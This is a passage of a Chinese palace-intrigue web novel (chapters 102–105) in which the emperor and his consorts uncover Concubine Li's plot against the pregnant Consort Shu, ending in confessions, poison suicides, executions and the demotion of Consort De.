【人一多,气息都混杂一处了,不利于养身体。】 众人一水退至偏殿,纪宸也要走,沈青拍了一下他的手背,翻身躺下。 她受了这么大苦楚,如今有证据了却想绕开她? 纪宸好脾气道:“朕让人将外面的一言一行抄录下来,捧给你看。” 沈青这才躺好,微抬下巴,示意他可以走了。 纪宸用手蹭了蹭她的脸颊,沉闷的心情因柔软的触感好了不少,临走前,他道了句:“朕会严惩凶手。” 后宫不是任谁都可以来去自如,想干什么就干什么的地方。 第102章 第102章淑妃十五日 偏殿中,紀宸坐在上首。 錢继道:“宫女应春脑后受了重傷,碗大一个血口,只能在太医院养傷,但她的陈述在这里,請皇上、皇后过目。” 他将纸递给紀宸,紀宸看罢又递给皇后。 皇后道:“既然有了应春口供,只要找出手腕上有红痣的宫女便可,然宫廷中宫女数量庞大,若一一排除恐叫人得了消息,抹去红痣。而那名宫女会武功,臣妾提议,自小入宫的可直接排除,这样,找起人也快些。” 賢妃闻言精神抖擞:“臣妾附议。” 纪宸看了一眼錢全忠:“按皇后说的来,此事就交与你查办。” 錢全忠称是,退了出去。 蘭修容见钱全忠走远,开口道:“皇上,今日从坤宁宫請安结束后,通往承乾宫的宫道被潑了油,因此,淑妃娘娘才绕道而行,这才发生了后面的事。” 皇后点头:“确有此事。” “臣妾听到这个消息后便命青玉查了此事,在请安这段时间经过那条宫道的宫人有二十三名,臣妾仍在一一排查。” 德妃凝神听着,賢妃不感兴趣地耷拉下眉眼。 在皇后话音刚落,蘭修容便利索道:“臣妾是藏不住事的,便不拐弯抹角了,臣妾在请安前见到宣婕妤的宫女落后宣婕妤而来,那宫女神情慌张,臣妾不得不疑心宫道上的油与宣婕妤有关。” 德妃眉心一跳,心里不好的预感更重了。 宫里家世显赫的嫔妃一半一半,因皇上不再选秀,一些煊赫人家不能将女儿送到宫中,她便想提前拉拢人,也拉拢不到。 加之失了楚嫔与她背后的楚家,她不免多为三皇子筹谋一些。 而后宫中家世能拿得上台面的,宣婕妤算一个。 宣婕妤空有打算,却无皇后命好,当初进宫再心比天高,如今五六年下来,早被磨平了心性。 于是她便让李贵嫔去拉拢宣婕妤。 如今,宣婕妤和手上有痣的宫女都卷进了这件事,她便不得不做最壞的打算——李宛意背着她联合宣婕妤私自计划想让淑妃小產。 但李宛意只以为劝动了石榴便可万事大吉,但却不明白她上次瞒天过海已是极不容易,稍有差池就会暴露无遗。 德妃不知道该说李宛意什么好,简直是有勇无谋,狠毒不足。 上次的事已经让皇上生了防范之心,在淑妃生產之前都不该再生事才对,若淑妃生的是公主,便不需出手,若淑妃生的是皇子,一个小孩子,隨隨便便就死了,再不济,也有千万种方法让淑妃的孩子与皇位无缘。 可李宛意偏偏选了淑妃最警惕的时候。 甚至想用一个嫔妃的死来吓倒淑妃,可淑妃若能被轻易吓小产,她在专宠的那一刻就死在深宫里了。 之前的暂且不提,淑妃被吓到,身边的人手被分散一空,这时候无论是找宫人冲撞淑妃的轿辇,还是让抬轿的太监腳底打滑,都能让淑妃彻底小产,甚至使她身体衰败。 但偏偏,这些,李宛意都没做。 留下的只有一个手段浅显,漏洞百出的局面。 德妃知道李宛意容不下淑妃,可她为什么就那么急呢? 手腕上有红痣的宫女,德妃第一个想到的便是石榴,石榴跟她最久,她也知道石榴身手不凡,处理手无缚鸡之力的两名女子还是容易的。 德妃回神,此时,皇上已经吩咐将其余嫔妃一起传召过来。 不少嫔妃知道宫道上被潑了油,说不定会有其他线索。 另外,一直跟在皇上身边的王定随皇后的宫人去找第一个发现宫道上被泼油的太监。 油这种可以存住的东西没法查,先不说管油的宫人可以截留一部分,御膳房,各宫的小厨房都会大量用油,若有心之人想留下些油还是容易的。 不过这也给人以启发,主位以上弄些油会更容易,而宣婕妤只是婕妤,即便宫道泼油与她有关,也绝对是与人合谋此事,单她,找不到足以让人打滑以至于清理时间久,而不得不让嫔妃绕道而行的油。 现在宫里主位以上的娘娘,除了淑德贤三妃,便只剩兰修容与李贵嫔。 纪宸转着手上的串珠,格外心平气和。 看着王定出去,德妃心急,却只能稳住,众目睽睽之下,她没法让人去给李宛意递消息。 只希望李宛意不至于以为用了石榴便可高枕无忧。 很快,嫔妃纷纷来了承乾宫,对此事有所耳闻且坦荡的嫔妃,为何才人掉几滴眼泪便垂首听起这件事的走向。 除此之外,还有嫔妃自始至终都安安静静呆着。 李贵嫔站到德妃身边,德妃瞥了她一眼,終是什么话都没说。 宣婕妤到后,听了兰修容的说辞,愤懑不平道:“嫔妾冤枉,嫔妾的宫女浣雲不过是给嫔妾取落下的镯子罢了,这才来迟,神情慌张也不过是因为她跑得急了,气喘吁吁。” 宣婕妤出现后,兰修容并未看她,而是观察着宣婕妤身边的浣雲,在宣婕妤辩解后,她才道:“皇上、皇后娘娘,臣妾现在见到这名宫女才记起,她早上的裙摆上沾了深色油渍,不然,臣妾何至于注意一个宫人,且她分明是换了件衣裳,想来,留意于此的人也能看出来。” 宣婕妤不相让道:“修容娘娘说得没错,但浣雲是因为取东西回来时不甚跌了一跤,但当时天色昏暗,看不大清,又急于回来给嫔妾复命,这才没注意到沾了油,也没发现宫道被人泼了油。嫔妾还是知道这些事后才勉强串联起来。” 宣婕妤说完,扫了一眼浣云。 浣云站出来,低眉道:“确实如主子所说,奴婢的腿上现在还有摔到地上留下的傷口,将脏污的衣裙换掉,也是为了避免污了主子的眼。” 浣云跟随皇后身边的荠荷去屏风后查看傷口。 陈婕妤安抚地拍了拍兰修容的手 背,亲自去屏风后瞧了一眼。 很快,荠荷出来复命:“皇上、皇后娘娘,浣云说得没错,她腿上确有磕碰的新伤,伤口布于膝盖,有茶杯盖那么大,还渗着血。” 陈婕妤用手帕掩了一下唇,冷不丁道:“宫女受了这么重的伤,宣婕妤不请医女看看,反而带着宫女走了这么久的路,到了承乾宫。” 她声音清浅:“宣婕妤又不是不知道这名宫女受了腿伤。” 受伤了按常理应是让人好好歇着,而不是继续使唤,宣婕妤身边又不止浣云这一个宫女。 宣婕妤语气一顿:“是嫔妾考虑的不周到。” 这时,钱全忠回来,禀報道:“奴才将宫女筛查了一番,并未找到符合条件且腕上有红痣的宫女……” 德妃暗暗舒了一口气,她旁边的李贵嫔仍是安静的模样。 旋即,钱全忠话锋一转:“不过早起在宫内行走,且腕上有新伤的宫女确有一个,是德妃宫里的石榴,然而奴才查验过,石榴的体态身形虽接近应春所描述的,但她并不会武功,力气也不足。” 他往旁边侧了侧,露出进来后便跪下,看着老实本分的石榴。 德妃捏緊了手指,目光复杂地看向石榴,石榴是她的人,李宛意却废了她。 即便知道是为了摆平今日的事,但她心里仍不爽。 李宛意能调动石榴,说明是通过李家,而李家也极为好懂,不满她素来温吞的手段,想将一切威胁三皇子登上皇位的人早日铲除。 从当初家里能和楚家离心,她就该意识到不对,而不是放任家族歪了心。 恐怕李家也因三皇子的风头被淑妃抢了而想对淑妃和她腹中胎儿下手。 若她早知道,必会拦住,所以他们就绕开了她。 德妃脑中一阵眩晕,只能靠掐住手心带来的痛觉勉强维持住站立,李宛意与李家的行事,对她而言不亚于背叛,她的费心经营全成了笑话。 但现下最要緊的是,将李宛意与她从这件事中摘出来。 因钱全忠带回来的消息,殿内的气氛再次凝固起来,皇后与贤妃的目光不紧不慢扫向德妃。 这种气氛没有持续多久,闻喜通过禀報走进来行礼:“奴才参见皇上、皇后与诸位娘娘、主子,奴才是淑妃娘娘身边的太监,有要事禀报。因淑妃娘娘喜欢去漱芳汀,而娘娘怀有皇嗣,实乃重中之重,奴才们不敢疏忽,便日日检查着漱芳汀。” “在何才人的尸体被带走后,奴才带人巡视了一番湖周围,在一条小径上找到了凌乱的腳印,仔细查验后发现,那些腳印所系一人,而昨夜下过雨,小径泥泞,可以确定是今早留下的,然而那人太过缜密,事后返回将脚印通通破壞。” “但奴才不负众望,最終找到了一枚完整的脚印,应是可以对比出凶手是谁。” 闻喜的声音不高不低,却能让殿内的人全都听见。 德妃皱了皱眉,当她想了解一个人时,对方用过的手段会在她心中一一复盘。 淑妃上次巫蛊便诈出了太医,而这次闻喜能早早出现,却寻了这么一个时机,中间必定见过淑妃。 德妃意识到不对,猛然看向石榴,却见石榴口中溢出黑血,她抬头道:“一切均是我所为,辩无可辩,我心里对淑妃有怨,自知逃不过,便是死,我也要死在承乾宫。” 临死前,石榴不必再自称奴婢,遗言也简单的很。 眼神平静无波,在主动废了武功后,她便看淡了生死。 然而闻喜却快语打破了她的平静,兴奋道:“石榴姑娘心细,奴才虽发现了脚印,但都被破坏的很严重,半个清晰的脚印都没找到,方才只是想诈你一诈,真是对不住了。” 石榴的眼睛猛然睁大。 闻喜又道:“咦,石榴姑娘用的毒药和当日林贵嫔身边死掉的宫女翡翠所中的毒好生相似。” 皇后身边的青古上前,掰开石榴的嘴巴,她有经验,特意避开了毒血,检查过后道:“石榴先在嘴中咬出了血,后咬碎牙齿中的毒,是见血便发作的毒药无疑了。” 当时翡翠正是死于见血封喉的毒药。 石榴情绪激动,毒素发作起来更快,不多时,便没了气息。 她最终看向了德妃,若观察的更仔细些,她看的分明是德妃身边的李贵嫔。 德妃闭了闭眼,再次睁眼便是看向纪宸:“皇上,臣妾不知此事。” 纪宸眸光冷冷:“她是你的宫女,你怎会不知?” 一直恍若隐形人的李贵嫔站了出来:“皇上,是臣妾干的。” 她不得不站出来,因为一个宫女不可能完成这些事,石榴的话只能证明她忠心。 她若不站出来,此事只会归咎于德妃。 众人皆诧异地看向李贵嫔,以李贵嫔平日的品行,谁会相信是她? 贤妃不客气道:“李妹妹,虽你是德妃堂妹,素来维护德妃,可这种事怎能顶罪?” “钉是钉,铆是铆,即便你们同姓李也是不行的。” 李贵嫔没有理会贤妃,而是道:“臣妾是三皇子的生母,三皇子本就不受皇上待见,若淑妃腹中的胎儿一出生,皇上恐怕更不会将目光落到三皇子身上了,所以臣妾便出手害了淑妃。” “石榴是李家的家生子,不止受德妃调配,亦会听臣妾的命令,皇上难道不好奇,为何德妃人在承乾宫,一举一动受到监视,石榴却能毁了腕上的红痣,又自废武功吗?因为这正是臣妾吩咐的。” “宫道上的油亦是臣妾所为,臣妾份例中的油用不完,便积攒起来,于今日让人泼在宫道上,迫使淑妃经过漱芳汀。” “臣妾本来想用油让承乾宫起火,却苦于巡逻的侍卫紧密,臣妾的人无法进入承乾宫,亦无法接近淑妃的宫殿,又于半月前知道淑妃常往漱芳汀走动,便起了心思。” “臣妾全部认罪。”即便说着认罪的话,李贵嫔仍是平静的模样。 淑妃分毫未伤,填进她一个姓李的便足以抵何才人的性命。 只要将德妃保活,经年之后淑妃不可能一直是赢家。 第103章 第103章淑妃十六日 德妃知道李宛意不服气,但这个念头只是一闪而过,因为现在更紧要是如何将自己与李家从这件事上摘出来。 无论是降位还是禁足,她低调过这阵,紀珹又争气,便还是有希望。 只是李宛意,却是非死不可了。 德妃看向紀宸,情急道:“皇上,都是臣妾作为她的姐姐却没有尽到管教的职责,才使她生了这种心思,一切都是臣妾的錯,臣妾有罪,請皇上责罰。但宛意她年紀还小,一时被人蛊惑了才生出这种妄念与恶毒心思,虽犯了錯,闯下滔天大祸,但恳請皇上从轻處罰!” “请皇上废了臣妾的位份与封号,臣妾可以带着她幽居永寿宫,必不会讓她再出现在人前。” “皇上,宛意是臣妾从小看到大的妹妹,臣妾不能眼睁睁看着她去死,她纵有千错万错,也恳请皇上开恩!” 德妃已经跪下了,声声悲泣,眼泪从眼尾滑落,叫人看得心慌意乱。 宣婕妤不忍心道:“李贵嫔好歹是三皇子的生母……三皇子没了母妃,不知道该多伤心。” 兰修容无动于衷地看着这个场面,听见这话才冷冷道:“何才人还是二皇子的生母,怎么不见李贵嫔考虑二皇子一二?” 贤妃紧跟着,眼泪唰一下子就落了下来:“可怜的何才人,珉儿本就与她这个当娘的亲近,他已经晓事,如今这个消息臣妾还没敢讓人告诉他,臣妾光是想想二皇子听到此事的绝望便觉得于心不忍。” 她的眼睛通红,其他嫔妃忍不住拭了泪。 德妃刚因宣婕妤的话面上燃起了丁点希望,但紧接着兰修容与贤妃搬出何才人做比,她整个人像失了力一般,颓唐失意,灰败不堪。 像是终于认清事实,无力再保李贵嫔。 而她身旁,李贵嫔看着德妃,眼中不禁动容,但更多的还是淡漠感。 她跟着跪下,却端的是举止有度,脊背挺得笔直。 只余宣婕妤一脸尴尬。 她不太懂,德妃为何要为李贵嫔说话,即便再亲密信任感情深厚,这种时候撇清幹系不才是最重要的嗎? 但出于对德妃的站队,她还是顺着德妃的意思为李贵嫔说话了。 贤妃见德妃没了理,連忙道:“李贵嫔既已承认,不如早早定罪,以告何才人的在天之灵,也好给二皇子一个交代。” 纪宸未應,看向李贵嫔:“林宝林的死是否是你所为?” 林贵嫔是以宝林位份下葬,他叫的这声林宝林并未叫错。 李贵嫔垂眸:“是臣妾幹的,臣妾会了当承认,但不是臣妾干的,臣妾也不会應下这种莫须有的罪名。” “难道仅因都是见血封喉的毒药,便能将一桩已经定罪的事推到臣妾身上嗎?这种毒药何其多,只要费心寻找,并不难找到。” 她的住處关于假孕的東西全都處理干净了,即便现在有人说找到了没有处理掉的香料,她也绝不会承认。 方才那名太監诈死石榴后沾沾自喜的模样还历历在目,她再笨,也不会一个坑跳两次。 这件事兴许不会牵扯到德妃,但假孕一事一旦证明,必会牵連到德妃身上。 石榴是德妃的宫女,若石榴与两次杀人害命的事牵扯上,后宫再单纯的嫔妃都不会相信德妃的无辜,更何况皇上皇后。 且正是假孕后不久,石榴才再没跟着德妃出永寿宫,这个节点,敏锐的人很容易就能察觉出不对。 纪宸并不听她辩解,冷声道:“将所有伺候林贵嫔的宫人押下去,严刑拷打,务必要问出東西。” “看看手底下有多少人为她尽忠,一个贵嫔居然能在朕的后宫手眼通天!” 李贵嫔闻言嘴唇一颤,宫人又非铜墙铁壁…… 皇后忙道:“皇上息怒,是臣妾管教后宫不严,请皇上降罪。” 德妃闭上眼,心中却没多少慌张。 “罪不在你。”纪宸对皇后道,接着思量起谁接办此事,眼见着王定没在这里,便退而求其次道,“錢全忠,这事交与你来办。” 錢继留在他身边可随时吩咐,也更得用。 錢全忠称是,将李贵嫔身边勉强镇定的宫人带走后,便领着人直奔永寿宫李贵嫔的住处。 期间,钱全忠叫人去唤了王积贵。 刑讯这事,他不如姓王的手段折磨人,从前他也纳闷,怎么都是太監,他就不如王积贵变态呢? 在方才,他也看出来,皇上要找的是王定和王积贵,但王定有事在身,王积贵又从不踏入承乾宫,这才落到他身上。 钱全忠前脚刚離开承乾宫,王定后脚便与青玉带人赶到。 王定与青玉通稟后入内。 皇后与青玉视线接触了一瞬,皇后道:“皇上,青玉是去查宫道上被泼油一事,想来是有了线索。” 王定站到一旁,青玉出声回稟:“在与王公公对经过宫道上的二十三名宫人一一排查后,发现有一名太監目睹了整个过程,先前他不敢声张,才耽误至此。在他的证词中,他看到一名宫女指挥着三名太监掏出袖中藏有的油壶,泼洒到宫道上后,分头匆匆離去。” “因早上天暗,那名太监只看清了宫女的模样,描述与宣婕妤的宫女浣云有很大相似,且那宫女头戴的是一支兰花簪。” 众人的目光皆落到宣婕妤与其宫女浣云身上。 见她确实戴着一支兰花簪,不免了然。 青玉进来时看都没看浣云一眼,直接便向皇上皇后禀报了此事。而随她一起的王定更是在浣云出现在承乾宫前便先一步离开去调查此事。 都没可能提前知道浣云穿戴了什么。 如此,便没有特意构陷的说法。 浣云心里也清楚,她的手不受控制地抖着。 青玉见此问:“浣云,你可认罪?” 宣婕妤鼓足勇气出声道:“浣云的模样好,好看的人总是相似的,许是那名太监认差了呢?浣云这丫头,最老实本分了,可莫要冤枉了她。” 青玉没理会宣婕妤,继续重复了一遍。 她的话不紧不慢地敲向浣云,浣云的心弦一点一点绷紧,甚至连喘气都艰难。 可宣婕妤对她有恩,她不能背叛宣婕妤。 浣云抬头,却不是看向她面前的青玉,而是径直往一旁的柱子上奋力撞去。 周围的人都被她这一举动惊住了,下意识往后退了几步。 距离稍近的王定则立刻出手阻拦,但浣云的决心太坚决,王定不慎受了伤,他道:“浣云姑娘死掉是小,可死在承乾宫罪过就大了。” 娘娘好不容易有个孩子,他可不想让承乾宫沾染上晦气。 见寻死不成,浣云的神情恍惚。 皇后趁机厉声责问道:“宣婕妤,你还有什么话好说?” 宣婕妤没了主意,伸手一指,指向李贵嫔,慌张道:“都是李贵嫔威胁嫔妾做的,嫔妾若是不答应,她先害的就是嫔妾了。况且她说,她不会伤及淑妃性命,这油起的作用也不大,嫔妾这才应承下来。” “嫔妾在宫里无依无靠,不敢不听李贵嫔的吩咐,求皇上、皇后娘娘明鉴!” 皇后斥责:“胡闹,便是李贵嫔威胁,你为何不报与本宫?” “……嫔妾一时被李贵嫔唬住了,她是主位娘娘,嫔妾心里既惶恐又畏惧,这才没请皇后娘娘做主。” 皇后问李贵嫔:“李贵嫔,宣婕妤说的你可认?” 李贵嫔债多不压身,自是道:“臣妾认,臣妾威胁宣婕妤属实。” 陈婕妤语气带着疑惑,略略挑眉:“若真如宣婕妤所说,李贵嫔威胁了宣婕妤,那为何李贵嫔方才没将宣婕妤供出来,反倒还好心替宣婕妤遮掩一二?” “这是威胁所能有的态度吗,嫔妾怎么瞧着像共谋此事?” 宣婕妤连汗都来不及擦:“陈婕妤慎言。李贵嫔不供出嫔妾,是需要嫔妾为她周全,她拿住了嫔妾的把柄,嫔妾就不得不为她说话了。” 陈婕妤视线微妙起来:“原来宣婕妤在踏入承乾宫后也无主动揭露的打算……” 反倒还想着为李贵嫔周全说话。 纪宸不再沉默,一锤定音道:“相互间遮掩周全,是为合谋,将宣婕妤与其宫人押下去,之后进一步查清,论罪处罚。” 宣婕妤睁大了眼睛,仓惶被带了下去。 她没有想到,仅是陈婕妤似是而非的一些话,皇上便轻易认定了她的罪行。 她确实不冤,可若这里站的是淑妃,皇上会不让淑妃辩驳清楚吗? 归根到底,还是她只是一个区区婕妤,在皇上心里的分量太低罢了。 宫道泼油与何才人的死处理清楚,便只剩了一件事。 假孕一事是否涉及李贵嫔。 皇上重提此事已经让嫔妃们意识到了不简单,林贵嫔很可能是冤死的。 皇后与贤妃思量起来,若假孕一事有李贵嫔的参与,那德妃必在其中起着作用。 毕竟当初林贵嫔的宫女翡翠与乾清宫的太监申义有私交这事被查出来前,连贤妃都不知道此事。 入宫更晚的李贵嫔是如何得知的?甚至能让翡翠与申义双双自杀来个死无对证。 好在,众人没在承乾宫等太久,钱全忠便回来复命了。 钱全忠道:“回禀皇上、皇后娘娘,李贵嫔的宫人因不堪受刑,将知道的全招了,先前淑妃娘娘误诊出有孕一事,所中的东西正是李贵嫔偶然得到的,此药太医院仍视为难题,却原来是几味名贵香料混合后会得出一种没有味道的香,闻久了可使女子的脉象变为喜脉。” 皇后与贤妃目光悠悠地落到德妃身上。 此事竟真与德妃有关! 即便宫人的供词中回避着德妃,她们也会利用这个大好机会重挫德妃。 第104章 第104章淑妃十七日 沈青一直在关注着偏殿消息,无论是李贵嫔认罪,还是宣婕妤也牽涉其中。 接下来,她大抵能猜到皇后和贤妃不会放过这个针对德妃的大好機会。 她是真没想到会是李贵嫔,甚至在收到消息的那一刻心生怀疑,覺得会不会是她想为德妃顶罪。 但仔細想想,若是德妃,出手不会如此草率。 不多时,白桃从偏殿處回来,道:“娘娘,李贵嫔的宫人只承认这两件事只与李贵嫔有关,是李贵嫔特意瞒过德妃暗中谋划的,德妃对此一概不知。” “并说石榴虽是德妃的大宫女,但仍是李家奴仆,私底下经常来与李贵嫔商议事情。而上次是德妃有所察覺,这才不再将石榴帶在身边。” “从他们的口中,丝毫问不出关于德妃的任何事。” 沈青靠着软枕,双手放在被面上,她没染蔻丹,修剪圆润如笋的指尖呈现健康的淡粉色,清透水润。 她问:“皇后和贤妃的反应如何?” “贤妃娘娘道德妃不可能与上次的事无关,若是无关,李贵嫔怎会得知翡翠与乾清宫的申义有私交这种事,从而利用了两人关系达成目的。” “德妃只说不知道,甚至恳请皇上从翡翠与申义入手,将上次的事查个清楚明白。” “皇后娘娘倒没什么动作。” 沈青深思起来,目光沉静如水,德妃既然这样说,恐怕翡翠的事不简单,一旦要查,德妃就能轻易从上次的事中脱身。 畢竟现在没有任何有力的证据直指德妃。 石榴死了,宫人的口供又将石榴推给了李贵嫔。 李贵嫔既然能用石榴害了何才人,那用石榴杀林贵嫔主仆也合情合理,唯一的疑点便是林贵嫔的宫女翡翠是中毒而死,当时查出来也道她是自尽,说明翡翠很大可能背后另有主子。 也许是翡翠听从吩咐害了林贵嫔,后又服毒自尽,将场面伪装成畏罪自裁。 若顺着这条线查下去,除非翡翠与德妃无关,不然德妃大可不必说这种话。 之后沈青想着德妃的事,不知不觉间,偏殿再次传来消息。 王定从翡翠的遗物中发现了贤妃的珠宝首饰,且最近一次贤妃赏赐给翡翠东西,是今年年初。 算起来,其实与假孕一事隔不了太久。 那些都是贵重首饰,平常妃子赏人无非是些金银之物,万没有将贵重珠翠送给一名不相干的宫女,结果很显然,是贤妃想收買翡翠,并且成功了,翡翠收下了。 沈青没有想到,居然会牽扯出贤妃。 看来德妃早知道贤妃收買过翡翠,恐怕在最开始就打算将林贵嫔死的事歪给贤妃,但事情平稳度过,皇上轻易相信了林贵嫔的死,以至于没機会捅破此事。 但这次的时机不妙,畢竟人证实打实指向李贵嫔。 李贵嫔怎么可能与贤妃合谋此事? 不过德妃的目的也许只是想讓贤妃焦头烂额,毕竟贤妃攀咬起德妃,德妃縱然能一一辩解,但她的嫌疑却只会越来越大。 偏殿中。 如沈青所料,贤妃哪还顾得了德妃,只绞尽脑汁为自己辩解。 同时心里愤懑着这都什么陳芝麻烂谷子的事,也值得德妃捅出来,她喜欢收买宫人碍着德妃的眼了吗? 一边心里毛毛的,何才人是皇后的人也是德妃说出来的,德妃究竟知道她多少事? 皇后见此在心里叹了口气,方才贤妃开口,她便没有多言。 毕竟她只需主持局面即可。 眼见着贤妃被德妃牵着鼻子走,皇后不再沉默:“皇上,縱然表明德妃与这两件事无关,可石榴听命于李家,这才听李贵嫔的吩咐行事,李贵嫔就是李家在宫里的爪牙,難道李家不滿哪个嫔妃阻了三皇子的路,便可讓李贵嫔出手害了哪个嫔妃吗?” “臣妾只觉惶恐,这是皇上的后宫,李家却毫无敬服之意,不滿淑妃,便杀一个皇子生母来恫吓淑妃,长此以往,恐会尊卑不分,有乱姓之祸。” 他日,若真是三皇子登基,那到底是姓纪,还是…… 皇后垂眸,任何皇帝都不会允许这样一个隐患存在。 德妃是缜密,讓人抓不到把柄,可李家,却实在是拖后腿。 纪宸厌烦地看了一眼面前的场景:“不必再说了,既然证据确凿,李贵嫔赐自尽,伺候她的宫人全部杖杀,李家满门抄斩。” 若非此事牵扯出一个李家派进宫的石榴,他不会在这里呆这样久,听着他们你一言我一语的吵来吵去。 从李家牵扯进这件事,性质就变了,已经到了不得不杀的地步。 纪宸这句话说完,无视德妃与李贵嫔的反应,径直从此處离开,钱继连忙跟上。 徒留嫔妃半蹲行礼时的满室寂静。 与李贵嫔悔恨地求助德妃,德妃脱力倒下的模样。 贤妃知道此事没完,冲德妃冷笑一声,便去找太后求助了。 毕竟收买拉拢宫人这事可大可小,若是皇上要細细追究,可不是简简单单一个违反宫规能脱罪的。 这边,沈青还在好奇皇后会如何反击时,却见纪宸走了进来。 她讶异地睁大了眼睛:“皇上,事情处理完了吗?” “是,基本妥当。” 纪宸想了想他对李家的处置,觉得这句话完全没毛病,德妃与李贵嫔敢这样做,不就是仗着李家吗? 可李家又算什么东西,一堆酒囊饭袋,却胆敢将手伸进后宫。 满门抄斩已经是便宜了他们。 德妃只是妃嫔,纵使将自己从这两件事中摘出来,但她也会受李家影响,一个罪臣之女,注定不会再在后宫身居高位。 纪宸丝毫不觉得这样想有什么问题,若德妃真的清白,他也不会这样绝情。 他不是傻子,上次的局和这次的局谨慎程度根本不同,也许德妃这次是无辜的,但上次呢? 德妃从前的行事,他也是知道的。 纪宸的心声很密,但这不妨碍他细细询问了沈青现在如何。 得知一切安好,这才放了心。 纪宸问:“怎么不睡?” 沈青如实道:“好奇,睡不着,总是挂念着偏殿发生的事。” 方才白桃和其他宫人轮流描述的场面,和纪宸帶回来的消息一比,简直是小巫见大巫。 整件事,纪宸任由其发展辩解,却心里有数,真正想要处理的是隐在背后的李家。 其他人,则有罪降罪。 沈青尚不知道纪宸从偏殿离开时说的话,只清楚李家获罪,德妃与李贵嫔逃不过责罚。 纪宸握住沈青的手:“德妃无能,管教不住宫人,既如此,也不必再是主位,只是三皇子朕却不知道该交由谁抚養。” := 现在后宫除了德妃与李贵嫔便只剩她、贤妃、蘭修容是主位了。 只是沈青和贤妃是绝对不会去抚養三皇子的,三皇子已经记事,且德妃与她俩的恩怨颇深。 即便沈青的脾性再好,也无法像对待大皇子那样对待三皇子,虽然三皇子是无辜的。 她沉吟道:“皇上可以去问问蘭修容是怎么想的。” 蘭修容没有孩子,難免孤寂,若有三皇子,也能得些乐趣。 沈青不会因为兰修容抚养三皇子而生出不满,反而会真心为她高兴。 “皇上不必问了,臣妾不愿意。” 兰修容与陳婕妤踏进殿内,朝两人行过礼,兰修容这才稍微放缓语气,将方才的话重复了一遍。 “非是嫌弃三皇子,而是臣妾不喜李贵嫔所做之事。” 她们刚准备来看看淑妃,却没成想皇上没走,本来不想打扰皇上与淑妃的,却听到了这句话。 沈青扯了扯纪宸的袖子,担心他因兰修容的话而不高兴:“皇上,此事还有一个法子,您可以提拔中意的嫔妃成为主位,再让她抚养三皇子,若办的好,这便是一桩美事。” 纪宸:“那这件事就交给皇后来办,人未选定前,先将三皇子送到太后宫里。” 这是个极好的机会,沈青有所思量。 她嫣然含笑,眼眸干净剔透,声音柔柔道:“难得有一次册封大典,若是只有一个人,便显得有些铺张,宫里的姐妹位份也许久未动了。宫里发生了这么多事,多少有些晦气,正需要一些喜事来驱散,也让大家都高兴高兴,不必沉浸在之前的阴霾中。” 她手拿把掐冲纪宸撒娇:“若是宫里都喜气洋洋,臣妾和腹中胎儿也会感到高兴,皇上,您疼疼臣妾。” 沈青轻鼓着脸颊,唇边带笑,默默地捏着纪宸的手。 方才在偏殿,兰修容和陈婕妤起的作用不可谓不大,若非她,她们也不会这么不客气地对上德妃。 反正这后 宫也不会进人了,与其让高位空置,不如让姐妹们快快晋升。 纪宸嗯了一声,发现声音太低,忙轻咳一声,庄重道:“淑妃说得有理。” 他的眼睛在沈青脸上都没离开过。 自然也发现,他应下后,沈青的笑容明媚,略微歪头,眼眸灿若晨星,脉脉含情,她改为轻挠着他的手心。 纪宸心里被勾的痒痒,按住了她的手。 兰修容和陈婕妤并未注意到两人的细微动作,见此只感叹着皇上与淑妃的感情好,淑妃这样提议,虽是为她们好,她们也动容,但难免在皇上面前落了争权夺利的印象。 不过现在看来,淑妃娘娘分明是心里有数的。 只需略略出手,便拿捏住了皇上。 而皇上的态度,亦是甘之如饴的受用。 第105章 第105章淑妃十八日 因为沈青仍需养胎,纪宸特意点明,免了她每日去請安的任务。 甚至即便胎象稳固了,也可去可不去坤寧宫請安,一切有他在。 沈青没怎么推拒,便应下了。 能躲懒,还是不要表现地那么识大体了。 纪宸回到乾清宫,关于这两件事的旨意才降下来。 李贵嫔与李家的處罚依旧,李贵嫔死前已经成了庶人。 德妃被降为了嫔,自然没有封號,宫里没了一位李贵嫔,却多了一个李嫔。她从永寿宫迁出,迁居到一處宫苑,永寿宫原本的宫人,到岁数的被放出宫去,年纪小的则被分配到其他宫舍中。 至于李贵嫔的宫人,就惨烈了许多,行刑的地方在永寿宫。 宫中的人已经不太敢提起永寿宫。 死去的林贵嫔沉冤昭雪,重新以妃位下葬。 倒霉的何才人,被以贵嫔位份安葬。她的宫女应春侥幸活下来,又立下功劳,特许升为宫廷女官,只需养好傷后便可上职,并有赏赐若干。 帮助李贵嫔的宣婕妤被废封號,打入冷宫。 贤妃则因收买拉拢宫人,被禁闭在长春宫一年,后来太后覺得惩罚太过,让皇上允了即便在禁闭期间其他人亦可去长春宫,不至于贤妃太孤寂冷清。 慈寧宫中。 太后愁眉苦脸地问香慧:“吾儿这是何意,不就是收买了个宫人,满宫的嫔妃誰没做过,便是哀家,在后宫也是有眼线的。” 自从淑妃独宠,她在后宫搅不动水,唯一的乐趣便是含饴弄孙,渐渐地,少了几分威严,多了许多慈眉善目。 若是从前,太后絕不会这般。 香慧道:“刚发生了这事,皇上正是气头上,许是迁怒了贤妃娘娘。” “不。”太后摇了摇头,“皇上分明是想将贤妃禁足到淑妃怀孕之后,他疑心贤妃,正好借此事提前防范。” 香慧不由暗叹,太后既清楚,还问她做什么? 她顺着道:“若真是这样,皇上为何多此一举允了您的提议,准许其他人去看望贤妃娘娘?” 太后不语,不想将皇上说的那样奸诈。 但心中已经有了答案,她算是比较了解她这个儿子,皇帝应下此事,心中未必没有存着想钓鱼的心思。 若贤妃对淑妃下手,只需排查誰去长春宫找过贤妃,便可清楚明了是誰劝动了贤妃,给贤妃出主意,递人手。 皇上不怕皇后与贤妃出手,却难防藏在暗处的人。 原本的李贵嫔,先前不仍是表现的良善敦厚,但谁能想到,是她动的手? 承乾宫。 事情尘埃落地,便又耽误了数日。 这次真相已经彻底查明,原本那日不清楚的地方也发掘出了缘由。 沈青的身体早就没什么问题了,日常就是寻个暖和的时辰在承乾宫走一走动一动。 她接过聞喜递来经过抄录的口供与证据。 李贵嫔和宣婕妤虽然被废,但她仍喜欢用封号称呼她们,毕竟她也只是知道她们的姓名,却对她们不是很熟悉。 叫名字就有点親密了。 原来宣婕妤三个月前就与李贵嫔有了联系,但宫道泼油却谋划于半个月前。 沈青想起月初她与李贵嫔的对话,想来那时她便起了心思,并与宣婕妤一拍即合。 宣婕妤的事很简单。 